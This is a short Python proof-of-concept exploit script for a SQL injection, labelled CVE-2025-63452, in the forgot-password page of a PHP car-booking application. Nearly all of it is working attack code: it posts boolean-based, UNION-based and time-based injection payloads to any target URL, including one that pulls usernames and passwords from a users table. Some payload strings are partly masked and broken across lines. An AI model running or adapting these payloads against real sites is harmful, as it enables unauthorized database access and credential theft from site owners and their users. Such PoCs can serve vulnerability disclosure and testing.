import requests
import sys
# CVE-2025-63452 SQL Injection PoC for Car-Booking-System-PHP v1.0
# Target: /carlux/forgot-pass.php
def exploit_sql_injection(target_url, payload):
"""
Exploit SQL Injection in forgot-password function
"""
# Target endpoint
endpoint = f"{target_url}/carlux/forgot-pass.php"
# Malicious payload for SQL injection
data = {
'email': payload, # Inject SQL in email parameter
'submit': 'Submit'
}
try:
response = requests.post(endpoint, data=data, timeout=10)
return response.text
except requests.exceptions.RequestException as e:
return f"Error: {str(e)}"
# Example payloads
payloads = [
# Basic SQL injection - Boolean based
"
[email protected]' AND 1=1-- -",
# Union-based injection to extract database version
"
[email protected]' UNION SELECT NULL,version(),user(),database()-- -",
# Extract users table
"
[email protected]' UNION SELECT NULL,username,password FROM users-- -",
# Time-based blind injection
"
[email protected]'; SLEEP(5)-- -"
]
if __name__ == '__main__':
if len(sys.argv) < 2:
print(f"Usage: python {sys.argv[0]} <target_url>")
print(f"Example: python {sys.argv[0]} http://target.com")
sys.exit(1)
target = sys.argv[1].rstrip('/')
print(f"[*] Testing CVE-2025-63452 on {target}")
for i, payload in enumerate(payloads):
print(f"\n[+] Testing payload {i+1}: {payload[:50]}...")
result = exploit_sql_injection(target, payload)
print(f"[*] Response length: {len(result)} bytes")